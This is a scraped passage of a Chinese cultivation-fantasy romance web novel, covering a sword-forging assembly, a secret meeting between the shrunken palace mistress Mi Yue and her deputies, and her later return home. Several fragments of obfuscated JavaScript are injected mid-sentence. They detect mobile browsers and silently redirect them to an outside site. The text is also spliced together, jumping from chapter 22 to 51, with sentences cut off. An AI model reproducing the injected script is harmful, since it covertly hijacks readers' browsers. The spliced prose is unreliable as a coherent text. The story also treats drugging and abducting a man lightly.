江蘅被“糜月”凶了之后,就不敢和她搭话了,唯有唐玉容还时不时同她笑着低声说些什么。 看起来还是后者更像一些…… 当那把剑漂浮着被送至鼎口时,忽然迸发出一道极为耀眼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14258209|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光芒,几乎照亮了云霄,待那灼目的光芒散去,仍残留着一抹淡淡的蓝光在剑身上流转浮现,仿佛给这把剑增添镀化了一抹新的神采,重新飘回夏沥的手中。 纪通眼睛一亮:“好剑!” 玄机子长老也跟着欣慰点头:“夏沥这孩子是个有机缘的。” 夏沥牢牢握住剑柄,眼里也闪过意外之色。神龙鼎显现出的异象越强,代表这剑的品质越高,她也没想到这剑会引出这么大的动静。 她握住剑柄时,能感受到这剑已与她心念合一,如同她的第三只手,四溢的灵气在剑纹上流动又缓缓汇入她掌心气窍。 抚摸着剑柄上的雕纹,夏沥第一时间便朝糜月的方向看去,朝她笑了笑。 总觉得是小姑娘给她带来的运气。 各门各派的众人也在纷纷赞叹。 “这把剑当真不错,足以位列进百剑谱了。” “能看见这样一把剑出世,这次倒也来值了。” 师姐通过神龙鼎的认可了。 在看到灵剑落回夏沥手中时,程令飞发自内心地为师姐感到高兴,继而想到下个就要轮到自己,眉宇间的喜悦和激动又变成了丧气和忐忑。 他紧握着剑柄,踌躇着上前,心中祈祷着神龙显灵,保佑他能通过认可,他可太想有一把自己的本命剑了。 他眼睛一闭将手中的新剑投入鼎口,片刻后,旋转的剑影消失,化作了一缕熟悉的黑烟弥漫。 “失败了……” 程令飞眼看着自己花大价钱买的转星木,连带着他辛苦段出来的剑,都变成了一抹黑烟,有点崩溃地抹了一把脸,眼睛有点红,脸上写满了失落之意。 纪通摇了摇头,程令飞这孩子入宗时间尚短,到底还是不如夏沥稳重,还有待磨炼。 不过夏沥的那柄剑,已是隐剑宗近年来最出彩的一把神兵,要不了多久,修仙界都会知道隐剑宗又出了一位年轻天骄。 长老们也觉得面上有光,看向场上最不对付的敌宗宗主,“糜月”的表情果然有些不自然,心下更加得意。 薛紫烟的确有些坐不住了。 她对铸剑大会有什么神兵出世,丝毫不感兴趣,她们这次来,就是为了探听宫主和那孩子的消息。 隐剑宗似乎对宫主的失踪毫不知情,否则见她前来赴会,不会是那样的反应。 薛紫烟的目光看似在关注大会,实则一直用余光在留意对面的小姑娘。这小姑娘额间的烬花纹不会有错,就算不是宫主所出,也是宫中哪位姐妹遗留在外的孩子。 得把这个小姑娘带回去。 烬花宫的血脉怎可流落在外,还养在隐剑宗,那得被养歪成什么德行? 22.第 22 章 小姑娘圆溜溜的杏眼一直盯着会场中间的青铜鼎,似是对那宝物有些感兴趣,不经意地又对上她的视线。 只见小姑娘伸手摸了摸肚子,忽然转头对谢无恙说了什么,随后从座位上起身,似是去如厕了。 没过一会儿,小姑娘回来了。 她走得步伐悠悠,慢慢吞吞,在经过她们的座位时,她怀中搂抱的小兔子不知为何忽然受惊了,倏地从她怀里蹦下来,那兔子看起来肥肥胖胖,动作却格外敏捷,直接钻到了薛紫烟的椅子下面。 小姑娘“呀”了一声,立刻跑过来,蹲下身子,伸直小胳膊从她的椅子下面一把抓回兔子,她站起身来,有点不好意思地甜声道:“抱歉啦,我的月饼有点不听话……” 借着起身的功夫,一只指甲盖大小的纸团悄然塞进了薛紫烟的手里。 薛紫烟一愣,小姑娘朝她眨了眨眼,随即抱着兔子快步走回自己的座位,乖乖坐好。 薛紫烟面上不动声色地将那纸团攥好,一手若无其事地举杯饮茶,另一只手借着袖口的遮掩,悄悄打开了这张纸团,只见上面歪歪扭扭写着一行小字: [大会结束后,后山小树林见。] …… 在程令飞之后,又有上百名弟子将剑投入鼎中,大部分都被神龙鼎给吞吃了,连个剑渣都没留下,还有几把剑直接被神龙鼎吐到了地上,似是铸剑的材料太差,连吃都不愿意吃。 而能得到神龙鼎认可的剑,却只有寥寥数把,以夏沥那把北斗七星剑为最佳。 待最后一位弟子试过青铜鼎时,已是日落西山,天边垂云被一抹绯色浸染,山林海域如同披裹着霓裳。在这个时节,天黑得极快,场子还未散去,晚霞便逐渐被沉沉的暮色所取代。 大部分门派都是远道而来,隐剑宗特意准备了许多空殿客房,安排他们歇息留宿,接下来的几日,各宗弟子之间便会借此机会彼此切磋技艺,谈经论道。 让纪通意外的是,烬花宫也要在此留宿。 “怎么,纪掌门就是这般待客之道,我们从西境远道而来,连住一晚歇个脚,都如此为难?”薛紫烟挑眉地看向隐剑宗众人,把糜月嚣张的语气学了个十分像。 “……” 这话说得呛人,司徒杉听得胡子直翘,忍不住上前痛斥,被纪通拦住。 他没想到烬花宫竟能如此厚颜无耻,拿着鸡毛当令箭,还真拿着请帖当客人了,是不是忘了两宗先前交战,打得乌烟瘴气的时候了? “糜宫主言重了,既来赴宴,我宗自当一视同仁,”纪通唤来侍从,吩咐,“带她们去空殿歇息。” 纪通最是在意维护宗门名声,不会在众宗面前,让别人落隐剑宗的话柄。 当然他也没那么蠢,表面上让侍从带她们去了殿宇歇息,实则在周围暗中安排弟子们盯着,时刻提防留意着烬花宫主的动向。 薛紫烟进入空殿之后,便卸去钗环,擦去了脸上的妆容,迅速换上了普通弟子的装束,过了一会儿,同廖红叶一起明目张胆地从殿内出来。 在旁边盯梢的弟子们只收到纪通要盯牢“糜月”的指示,眼见只是个小弟子和副宫主出来,犹豫片刻,只分了两个弟子过去跟着。 薛紫烟和廖红叶都是烬花宫六境满境的高手,溜这两个跟踪的小弟子跟玩一样,带着他们溜了两圈后,便彻底甩开他们,往后山树林里去了。 糜月早早就在那里等着,怀里抱着月饼,手里还握着一根啃了一半的糖葫芦。 她给薛紫烟送完纸条后,发现桌上的糕点都被她给吃完了,谢无恙想到什么,就从储物袋里拿出了这根前些日子在集市上买的糖葫芦。 储物袋里的时间是静止的,糖葫芦还保持着装入时的模样。糜月看着还能吃,就问他要了来。 大会结束后,谢无恙便被一群剑道狂热粉团团围住,向他请教剑道。糜月说了句要去找夏沥姐姐看那把漂亮的剑,便趁他被众人围堵时迅速脚底抹油。 这段时间,糜月把隐剑宗内院摸了个门清,连哪里有几个狗洞都一清二楚。在内宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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糜月把手里的糖葫芦塞到满脸震惊的薛紫烟的手里,屈指抵着下巴,端起架子,清了清嗓子:“我冲击境界时,意外走火入魔,身体就变成了这副样子……” 薛紫烟眼眶瞬间红了:“怎会如此?!” “烬花宫不是没有走火入魔的先例,要么是身受内伤,要么是神识受损,从未有过变成小孩的症状……宗主,你的修为也全都不在了?!” 廖红叶嗓音发颤,她在糜月的身上,竟然感受不到一点灵力的波动,此时的她就像一个普通小女娃娃。 这是个多么惊悚的鬼故事! 她们来之前,想过很多可能,宫主可能被隐剑宗胁迫了,宫主可能受了伤,甚至想过那传言若是真的,宫主真有一个女儿在外面,她们直接抢过来便是了,却从没想到竟然是这个发展。 薛紫烟在听到糜月修为全失时,更是绷不住,几度落泪。 “好了好了,不许哭!我是变小了,又不是死了。” 糜月挥挥手,虽然刚变小时,她也很崩溃,但是习惯之后,发现也没有那么坏,还不是一样,该吃吃该喝喝该睡睡。 “我琢磨过了,我这情况只有找到烬虚诀八重境的功法,才能推演出是哪里出了错,所以我才跟着谢无恙来到隐剑宗,想暗中探查秘宫所在,” “我如今变成小孩,反而无人能识出我是烬花宫主,谢无恙那厮也对我全无防备,正是寻找秘宫的好机会。” 薛紫烟看着眼前的迷你缩小版宫主,一本正经地用奶乎乎的娃娃音和她们商量找功法的大事,一阵荒唐又啼笑皆非的无稽感油然升腾,因为心疼宫主的眼泪,瞬间被憋了回去。 尤其是那随着宫主说话而鼓起来的小包子脸,看着她一阵手痒痒。 下一刻,手就不自觉地伸过去捏了捏。 “你干什么?”糜月震惊地看她。 “对不起宫主……”薛紫烟连忙缩回手,低头认错。 “……” 糜月无语地瞟她一眼,严肃道:“三日后就是满月之日,我自有计划,你们留在此处,反而引得隐剑宗多加防备,误我大计,你们今晚就动身离开隐剑宗,回去该干嘛干嘛。” “可是宫主,留你一人在这,实在太危险了……”廖红叶忍不住道。 这里可是隐剑宗,还有谢无恙在。 宫主如今修为尽失,万一身份暴露,这些人想弄死宫主,岂不是跟捏死一只蚂蚁那么简单? “你们放心,我心中有数。”糜月坚定道。 廖红叶和薛紫烟见她心意已决,自知再劝无用。 薛紫烟当即从储物囊中拿出几包粉末:“宫主,这是我随身带着的迷魂散,都在这里了,你多带些在身上,以防万一。” 糜月看着手里的小粉包,才想起一桩事:“对了,上回你给我的迷魂散,我给谢无恙下在吃食里,怎么不顶用?” 薛紫烟“啊”了一声,纳闷地摸了摸下巴:“不应该啊,我的迷魂散毒性很强的,从来没有失手过,或许……是他体质特殊?” 糜月想了想,谢无恙的神相是蛇,平日里又爱养蛇,蛇毒本身就胜过这世间大多毒药,或许毒药对他真的无效。 薛紫烟于是又从储物袋里拿出几包用红布包着的物件,塞在了她手里:“这是我新研制出的混元霹雳弹,不需要灵气催动,一颗的威力就能炸毁一座宫殿,还有这些暗器、毒针、毒粉,宫主你都拿着……” 糜月收了几包,制止了她再往她怀里塞东西:“够了够了。” 她身上也有一些能防身的灵器,都是以前打家劫舍抢来的,她如今要这些东西也没什么用。秘宫究竟在隐剑宗何处还不知道,万一要是把秘宫炸毁了,她连哭都没地方哭去。 “还有这瓶养颜修容膏,是合欢宗唐宗主给的。”薛紫烟最后掏出来一只小玉瓶。 唐玉容给的膏药面霜一向都是好东西,糜月也顺手收起来。 比起薛紫烟塞了一堆毒烟暗器,廖红叶则从储物袋中拿出两块如琉璃般透亮的魂音石,灵力在她指尖显现,将两块魂音石建立了灵力链接。 她把其中一块递给糜月:“宗主,这块魂音石你拿着,以便我们互通消息。” 如今宗门间传递消息,大多都用传音纸鹤,但糜月如今灵力全失,无法催动传音纸鹤,只能被动接收。糜月要想主动传递消息,只能像上次那样在城中留下暗号,但这种方式有被发现的风险,她下山一次也很不容易。 这魂音石造价昂贵,还只能使用一次,堪称是传音法器里的鸡肋,但它有个无法代替的功能,便是无需灵力便能使用,只要将这魂音石捏碎,建立了灵力链接的另一方就能有所感应。 “宫主,你若遇到危险或是意欲回宫,便捏碎这魂音石,我们安插在玉京城中的弟子最多半个时辰就能来接应。”廖红叶说道。 糜月点头,将那魂音石仔细收好,忽然想到什么问:“对了,让你假扮我出席铸剑大会的事,是谁的主意?” “是沈侍宫。” 薛紫烟如实道,原本沈灵淇也打算前来,但他修为太低,加上侍宫这个身份拿不出手,廖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说罢,糜月转身就要走,薛紫烟出声叫住她。 “宫主,你的糖葫芦没拿……” “……” 糜月回身拿过没啃完的糖葫芦,有一点点赧然地清清嗓子:“……还是你们先走吧。” 薛紫烟和廖红叶只好听命行事,足尖点地,御风而动,身影轻盈地从竹林里悄无声息地消失。 等她们走了半刻钟后,糜月才抱着月饼慢慢从竹林里走出来。 此时皓月当空,清辉如练,月色穿林而过,若银纱轻覆。微风拂过山林,只有竹叶相击之声,窸窣作响。 糜月正要择路离开,余光忽然瞥见在一块假山石后,隐约有人影投落在地上,那黑影修长,宽肩窄腰,状似是个男子,不知在此处呆了多久。 她倒吸一口凉气,整颗心都提了起来。 有人在偷听! 50-60 第51章 第 51 章 双休的效果竟然这么好。…… 睡梦中的糜月一无所觉, 直到睡至半夜,她被热醒了。 隐剑宗的天气严寒,已经连下了几日的鹅毛大雪, 烬花宫如今还温暖如春,糜月泡完澡后裸身盖着被子, 甚至还有点热。 她躺在金丝楠木的拔步床上翻了个身, 摸了摸旁边空荡荡的床铺,好似手边少了一团毛茸茸的物体, 有些不太习惯。 糜月坐起身来,想让沈灵淇过来给她换一床被子,但想想他也是跟着坐了一天一夜的灵舟, 眼下应该也歇下了,还是别折腾他了。 她复又躺下, 干脆把被子只盖一半, 把双腿露在外面, 但过了一会儿露出来的双足又有点凉, 就这么时凉时热的, 辗转了半晌,才勉强入睡。 …… 翌日清晨。 糜月从床榻上起身,沈灵淇听到动静, 快步走进殿内, 为她取来今日要穿的衣物披上, 继而跪在她床边,服侍她穿鞋袜。 “宫主,昨晚睡得如何?”沈灵淇询问。 糜月嗓音还带着刚起床的疏懒恹恹:“被子太厚,换一床。” 少年颔首点头:“好。” 糜月穿好鞋袜,另有侍从端来温热的清水, 洗漱完后,走到摆放着妆奁的案前坐下,沈灵淇站在她身后拿着玉骨梳为她理着如瀑的青丝。 看着铜镜里明眸皓齿、艳丽动人的少女,糜月恍然觉得变成幼崽,在隐剑宗的那段吃喝玩乐的时日,如同镜花水月的梦境一般。 她这么一走,隐剑宗很多人都会起疑吧,夏沥和程令飞一定也会问谢无恙她去了哪里,谢无恙会怎么圆呢?还是会干脆告诉他们实情,那个小姑娘都是她这个妖女假扮的? 他们会是什么反应?震惊?失望?伤心还是被欺骗的忿恨…… 还有悬海阁院子里的那几只雪人,烬花宫的天气温暖,不知道东洲的天气这两日是否也会转暖,她亲手堆的雪人会不会化了…… 也不知道谢无恙有没有好好帮她照顾月饼…… 糜月又想到她离开的那日,她打了谢无恙一巴掌,他没羞也没恼,只是攥着她的手腕认真看着她说,他从未将自己视若仇敌。 可他若是知道,她还计划要带弟子攻打隐剑宗,不知道会是什么表情。 糜月望着铜镜里的自己,眉眼有些闪烁地失神。 乌黑柔亮缠绕过少年白玉般的长指,沈灵淇为她精挑细选好衬她衣裙的发簪配饰。 在宫主不在的日子,他每天都对着这空荡的宫殿发呆,感觉自己无所事事,睁眼闭眼都不知道要做些什么。终于得以迎回宫主,又回到了以前陪伴在她身侧的日子,他心里的雀跃和欣喜是难以言说的,昨日思来想去,几乎整夜没睡,今日一早便等候在殿外,等着为她穿衣梳头。 沈灵淇瞥见少女似有心事的侧脸,宫主的喜怒一向写在脸上,很少会露出这般心事重重的表情。 他心中隐隐咯噔,将一支流苏海棠的银簪别在她发间,不动声色地问:“宫主,在想什么?” “没什么……”糜月瞬间收敛神色,说道:“把这些时日积攒的各部据点的信函拿过来,我一会要看。” …… 晌午时分。 沈灵淇在后院中晒上为糜月新制的蚕丝被褥,刚绕过宫殿,走到前殿,就见负责传菜的小侍从低头端着托盘,有些魂不守舍地差点撞上他。 “怎么了?”沈灵淇蹙眉问,“刚给宫主上的菜,怎得往回端?” 侍从缩着脖子解释道:“沈侍宫,宫主刚才发了好大的火,让我把这两道菜撤下去。” 沈灵淇抬手揭开罩盖看了看,是一盘冷吃兔肉和麻辣兔头。 传菜的小侍从摸不清头脑,有点委屈:“明明宫主以前最很喜欢吃这两道菜,这次回来也不知道是怎么了……” “我知道了,你下去吧。” 侍从领命退下,沈灵淇快步走进主殿里,跨过门槛,只见糜月坐在圆桌前,一手托着下巴,一手翻阅着堆积成摞的信函。 这些信函是烬花宫在各地的据点发过来的情报,是宫主每天要处理的事务之一。 她不在的几个月,积攒了许多,眼前这些已经被副宫主们筛选过一遍,只留下一些重要的信函,需要她亲自过眼。 “宫主,方才听人说,你让人撤了两道菜?可是今日膳房做得不合口味?” 糜月拧着好看的眉头,抬头道:“以后让膳房不许再做兔肉。” “好……” 沈灵淇虽不明白缘由,但也没有多问,默默记下她不再吃兔肉,卷起袖口帮她布菜。糜月只顾着看情报,沈灵淇给她夹什么,她便吃什么。 几口饭菜下肚,她感觉有点噎,随口说:“谢无恙,给我盛碗汤……” 半晌,身旁的人都没有动静。 糜月抬起头,看到站立在桌旁的粉衣少年,才意识到自己口误了:“咳灵淇……给我盛碗汤。” 这数月来,使唤谢无恙使唤得顺口了,一时没改过来。 沈灵淇几不可查地咬了下唇角,动手盛了一碗汤,再抬头时,他把汤轻轻放在她面前,眉眼如常地朝她含笑道:“宫主,慢用。” 糜月舀着热乎乎的汤,听到殿外隐约传来争执的声响,于是问他:“门外是什么动静?” 沈灵淇习以为常道:“应当是薛副宫主和她新纳的那位江侍宫。” “江……侍宫?” 糜月疑惑地反问了句,在她不在的日子里,薛紫烟竟然找到侍宫了,她一向不是很挑的么。 “嗯……似乎还是宫主的旧识。” 糜月正在思索,她的旧识里有谁姓江,忽然殿门被人推开,江蘅穿着烬花宫侍宫们标志性的桃粉色长袍,一边抬袖抹着眼泪,一边哭哭啼啼地奔向她。 “糜月!你可算回来了,你可得给我做主啊!” 糜月吓得汤勺掉进了碗里:“……江蘅?” 薛紫烟紧跟在他身后,走进殿里,表情有点尴尬和无可奈何。 “你们……”糜月看了看对上她目光略有心虚的薛紫烟,又看了看一脸委屈的江蘅,“你就是那位江侍宫?江蘅,你怎么放着好好的弦音宗少主不当,跑来给我家紫烟当侍宫了?” “还不是那日你宗被离火宗伏击,我路过好心帮你们出手,结果被她……强抢民男!” 江蘅像是终于找到了能主持公道的人,把这阵子受到的委屈,全都倒筒子似地说了出来,“早前就听到传言说,烬花宫弟子见到样貌好看的男修,就会抓到琼山上当侍宫,我以前还不信,现在知道了,是真的!就因为我认出她假扮你出席铸剑大会,她就把我绑了起来,天天连门都不让我出,整天除了吃就是睡觉,你看我都胖了两斤!” “………” 糜月汤也不喝了,悄悄从旁边的果盘里抓了把瓜子,等他哭诉完,轻咳一声,问薛紫烟:“紫烟,真是这么回事吗?” “宫主,的确如他所说,但我也不曾逼迫他,是他自愿接受了条件,做我侍宫……”薛紫烟偏头看了眼江蘅,似乎有点生气他这点小事还要闹到宫主跟前去,低声咬牙道,“胖两斤还不好吗?难道非让我虐待你才好?” “你在茶里下药,在熏香里下药,还说不是逼迫我?”江蘅红着眼眶,看着她道,“糜月你知道的,我们弦音宗宗规甚严,平日里我连去隔壁宗串个门都要提前给我爹打报告,结果这次就出了这么一趟远门,在回家的路上被人劫掳,清白尽失……” “她,她还十分理直气壮!之前不知做了多少回,这种欺男霸男之事!” 糜月磕了会瓜子,听明白了,合着是薛紫烟把人家给抢回宫的。 在和她出生入死的副宫,以及这位昔日同窗好友之间,糜月在一瞬间就选择了帮亲不帮理,揪住他最后一句:“你这话说的不对,我作证,紫烟以前没抢过男修做侍宫,你是第一个。” 江蘅眼睛睁圆:“就算如此……这也不是重点啊!” “那你想如何?” 糜月心道,江蘅从小就好哄得很,幼时在学宫,给他五百灵石就能帮她作弊,还能帮她挨罚。被抢了当侍宫……说白了也不是什么大事,大不了给他一笔灵石安抚。 “我想回弦音宗,”他闷闷道,说着瞥了眼薛紫烟,“她答应我等你回来,就放我回家,结果现在又不认账了。” “你当真如此不情愿留在烬花宫?”糜月问道。 她想若江蘅当真不愿,每天这般哭哭啼啼,寻死觅活的,扰得烬花宫上下不宁,那也没什么意思。 她思忖了片刻,于是用眼神安慰薛紫烟:“强扭的瓜不甜,不然还是放他走吧,回头再给你找个好的。” 天下男修那么多,何必在他江蘅一棵树上吊死。 江蘅更懵逼了,清澈单纯的双眸眨了眨:“什么就找个好的?……我、我没说不情愿啊,只是想休两日的探亲假,过两日是我爹爹的寿诞,我想回去一趟,给我爹爹过寿。过完寿,我,我再回来……” “………” 多大点事啊。 糜月无语地丢掉瓜子皮,爽快地扬手:“准了。” 江蘅立刻起身,步履欢快地快步走出殿外,似是要回去收拾行李了。 薛紫烟复又在他坐过的椅子上坐下,一脸欲言又止。 糜月纳 闷:“紫烟,你怎么连探亲假都不准人家?” 未免有点不近人情了。 “宫主……江蘅他之前就说过,他爹爹经常责罚打骂他。且前阵子,那弦音宗主听说他做了烬花宫的侍宫,很是震怒,扬言要和他断绝父子关系,我担心他此次回去会……” 糜月想起来,程令飞和夏沥曾经就因为炸神龙鼎的事,被罚了一百竹杖,东境的那些所谓名门正派似乎很流行的体罚那一套。 她迟疑道:“这……清官难断家务事,他自己愿意回去,给他父亲过寿,我们总不能拦着人家不让去吧。” 薛紫烟想想也是,又听她问:“不然你陪他一起去?” 弦音宗离烬花宫也不算太远,过寿再加上赶路的时间,左右不过花上五六日,也不耽误讨伐隐剑宗的计划。 “算了,一个侍宫而已,不必这么在意。”薛紫烟犹豫片刻,摇头说。 毕竟是他们俩人的事,糜月便没再多说什么,眸光划过薛紫烟身上时,倏地一顿,“紫烟,你的修为好似更精进了?” 记得上次在隐剑宗相见,她还是六重境,眼下竟然已经突破七重了。 薛紫烟点点头,大大方方道:“这些时日夜夜双修,修为的确进步神速。” 江蘅除了动不动爱哭,样貌合她心意,和她双修时也很合拍,她对这个侍宫很满意的。 糜月嗑瓜子的手顿住,有些意外:“双修的效果竟然这么好?” 薛紫烟听到她的疑问,同样疑问地瞥了眼她身后站着的沈灵淇:“宫主你们……难道效果不好?” “咳咳……”糜月没想到竟会惹火烧身,当即扯开话题,“对了,江蘅方才说离火宗伏击你们,是什么时候的事?” “是上回铸剑大会之后,离火宗在撤离的路上伏击了我们的灵舟。” “真有此事……”糜月眯了眯眼,冷声:“赵昇那老东西真是嫌命长了。” “赵昇联合了其他往日和我宗不睦的小宗门,但也不过是乌合之众,我宗仅有几名弟子受了轻伤,对方倒是损失惨重。” 糜月点点头,暗道等拿下隐剑宗这票大的,像离火宗这样的小门小派一个都跑不了。 薛紫烟见她还有手边还有一摞密函没有看完,便没多叨扰,起身告辞了。 糜月冷不丁吃了个大瓜,忽然想到什么,问身旁静静侍候着的少年侍宫:“你要不要也休个探亲假?” 沈灵淇是在糜月九岁那年,被她娘亲糜芷音捡回来的。起初是当做她的玩伴和侍从,她见他长得漂亮,也乐意和他玩,但人人心知肚明,这是宫主为少宫主今后准备的侍宫。后来,他也确实从陪她玩耍的同龄人,逐渐变成接管照料她饮食起居的侍宫。 糜月只记得沈灵淇出身在西境的一个小宗门,具体的名字她不记得了,她也不清楚他家里还剩几口人,但他侍奉她身边的这些年,他从未提过要回去看看家人之类。 这也是糜月第一次主动提起,让他回家看看。 少年显然误解了她的意思,指尖轻颤了一下,看向座位上的她,深吸了一口气,嗓音还是忍不住透出来些许的难过和委屈:“……宫主是觉得我哪里侍奉得不好吗?” “我不是那个意思,”糜月连忙解释,“我是说,如果你在这世上还有亲人,也可常回去看看。” “在这世上,宫主便是我唯一的亲人,宫主在哪,我便在哪……”沈灵淇撤掉她喝光的汤碗,眉眼低敛,嗓音有些闷沉发紧。 “除此之外,灵淇没有别处可去。” …… 第52章 第 52 章 宫主,我们今夜双休好不…… 糜月瞧见沈灵淇神色不对, 不知道是不是戳到了他的伤心事,忙道:“我就随口问问,你不要多想……你侍奉得很好。” 就是因为他侍奉得太好, 好像事事都在围绕着她转,似乎从没有属于自己的事做, 她才会有此一问。 见她说罢, 便重新将注意力放在看密函上。 沈灵淇没再多言,默默将桌上用过的碗筷收了下去。 …… 入夜时分。 暮色如浓墨, 月色透过淡薄的云层洒下,给宫殿的琉璃瓦度上了一层银辉。 沈灵淇握着窗边铜锁,轻轻将窗户合上, 将漏夜的凉气隔绝在外。 案头烛火摇曳,沐浴完的糜月身穿雪白贴身的丝绸里衣, 趴在宽敞的拔步床榻上, 手里还在看着最后一封情报密函。 以前, 她最讨厌看书看信了, 但接手烬花宫以来, 她不得不开始学会处理这些公文密函。身为一宫之主,管着成千上万名弟子,靠的也不单单是武力。 每当这个时候, 糜月就会格外想起娘亲, 敬佩她又感谢她。她给自己留下的这十二位副宫主, 个顶个的忠心又有能力,已经把她的担子分去很多了。 看完最后一封情报,糜月揉了揉有些酸涩的眼睛,对沈灵淇道:“把烛灯灭掉两盏,我要修炼了。” 说完, 她直起身,把手边的信函整理好放进床头几案的抽屉里,盘起双腿,正准备闭眼开始打坐运功,手背上传来一片温热,一只白皙修长的手覆住了她的手。 糜月抬眼,对上沈灵淇的视线,幽微的烛光在他眼底闪烁,泛出满含期盼的眸光,清亮得惊人。 “宫主,我们今夜……双修好不好?” 糜月怔了片刻,狐狸眼睛瞪得溜圆:“你怎么突然……” 突然提起这件事来。 “昔日宫主因为专心修炼功法,不愿同我双修,而如今功法已经找到,宫主若真决意去攻打隐剑宗,这段时间想稳固修为,双修会更有助益……” 少年坐在她榻边,摇曳的烛火明明灭灭,将二人的身影映在墙壁上,好似在互相依偎着,将周遭一切都晕染得朦胧而暧昧。 沈灵淇注视着糜月的神色,心下也忐忑不安起来。 一直以来宫主只有他一人侍奉在身侧,近身照料,所以虽然一直迟迟未行双修之事,他也并不着急,只当这日迟早会到来。 然而宫主突然失踪了数月,归来后,竟然还把他叫成了另一个男人的名字,甚至提出让他休假回家探亲…… 沈灵淇产生了前所未有的危机感。 他不知道宫主潜伏在隐剑宗那段时日发生了什么,她会那么自然地让谢无恙为她盛汤,可见平日俩人常常待在一处,还有那天离开隐剑宗时,宫主回望那人的眼神…… 他难免猜忌,宫主是不是和他已经发生了更亲密的事? 他自知自己只是一个侍宫,无权过问宫主的私事,但猜忌、嫉妒和惶恐已然盖过了这层理智,在这深夜之中,那份患得患失更如同潮水要将他无孔不入地淹没。 他害怕自己被宫主厌弃,害怕她的心里装了别的人。 糜月抽出被他握住的手,有些回避他的眼神:“今日我有些乏了,双修之事……过两日再说罢。” 开口下意识便是拒绝的话。 沈灵淇将空落落的手指攥起,眼里的光芒淡去,唇边的笑意染上了几分苦涩:“……当真会是两日之后吗?” 糜月闻言轻咬唇瓣,被他给问住了。 她当初苦炼烬虚诀,不曾与侍宫双修,便是想证明无需借助外力,靠她自己也能突破烬虚第七重,虽然这份固执让她走了些许弯路,但事实证明,她做到了。 她也顺利找到了第八重功法,而如今,她似乎也没有什么理由和借口排斥双修。正如沈灵淇所说,还有薛紫烟的例子在前,眼下以双修巩固修为,远比她自己打坐快得多,的确是最好的捷径和选择。 可是看着面前容貌俊美的少年,糜月心如止水,并没有多少兴致和冲动。 沈灵淇陪伴了她太久,她已经被他当成身边最可靠信任之人,但一想到要和他滚在同一张床,糜月心里就会涌上一种违和的怪异感。 莫非是……和他太熟了? 面前的少女轻蹙眉头,似是在认真思索这个问题,仿佛是觉得很难回答,没有正面回应他。 沈灵淇看着她为难的神色,心里已经有了答案。 虽然是早已预料到的结果,但在得到验证时,心里还是如同被细密的针芒刺入,痛意连绵,难堪又窘迫。 十二位副宫主身边都有侍宫在侧侍奉,唯有她从来不碰他。 难道,他当真在她心里,就是一个上不得台面之物,她就这般不喜他? 似察觉到少年脸上流露出显而易见的失落,糜月不忍心,像一只抚摸听话乖巧的宠物,抬手抚了抚他的发顶:“此事日后再说,辛苦你了……天色不早,你也早点去睡罢。” 沈灵淇睫羽低垂,掩住眼底翻涌的情绪,轻轻地“嗯”了一声,为她披上了一件外裳,灭掉两盏灯烛:“那便不打扰宫主歇息了,灵淇……告退。” …… 与此同时,相隔不远的副宫主宫殿内,是另一番和谐的景象。 薛紫烟坐在檀木圆桌上喝着茶,看着小侍宫忙忙碌碌收拾着行李的背影。 她抿了一口茶,随口问他:“你爹爹过寿诞,你可准备好了贺礼?” 江蘅停下手里的动作,过来同她眼眸亮晶晶道:“我打算在爹爹寿诞上,为他献琴一曲。” “弹琴?”薛紫烟诧异地挑挑眉,“就你那能要命的琴声?” 她咽下差点脱口而出的恶毒话:确定那一曲弹完,你爹爹的寿宴不会变丧宴吗? 江蘅不服气,在她身边坐下:“我琴声怎么就要命了,你何时听过我弹琴了?” “就是你拔琴相助的一日,弹晕了我多少烬花宫弟子?” “那是我的招式功法,用灵力催发,琴声自然会变形……” 江蘅想到什么,从储物袋里拿出自己的本命琴器:“不然我先弹给你听听?这曲子是我自己所作,正好你帮我听听,哪里还有待改进?” 他此话一出,薛紫烟也不好拒绝,轻点了点头。 她暗自运起灵气,提前做好要被魔音荼毒的准备,只见他将那三尺长的琴小心放在桌上,双手旋即置于琴上,指肚轻轻按弦,琴弦微微下陷。 手指随之轻勾,霎那间,琴声悠悠而起。修长笔直的手指熟稔地在弦上轻盈飞舞,挑、抹、勾、剔,每一个动作都精准而优雅,灵动又不失从容。 琴音空灵清越,仿佛幽咽的溪水流淌过石涧,居然意外地悦耳动听。 一曲毕,薛紫烟尽管不懂音律,也被他琴声所染,许久回神。 由衷夸赞:“很好听。” 她尚不知他还有这样的绝活。 江蘅将琴仔细宝贝地收起来,眼里划过自得的骄傲:“那当然,我幼时在无涯学宫的音律课上都是满分魁首呢,谢无恙也比不过我……” 谢无恙在无涯学宫的那一年,几乎承包了所有门科的魁首,江蘅回回都屈居第二,但唯独音律课,他能胜过谢无恙一分,得以扬眉吐气,是相当让他骄傲之事。 他追问她这曲子如何,有哪处需要改进,薛紫烟也说不出所以然,只觉得这曲子曲调悠然绝妙,似残梦绕梁,是她听过最好听的琴曲。 “那就用这曲不变了,”说罢,江蘅起身,继续去收拾衣柜里的衣物,薛紫烟旋即走到他身后,按住他的手说道,“衣柜里留上两套衣物吧,不然,等下连换洗的衣服都没……” 等下换洗…… 和她过了一个多月没羞没臊的双修日常,江蘅很快反应过来,伸手挠了下有些发热的脸颊:“今晚也要么……” 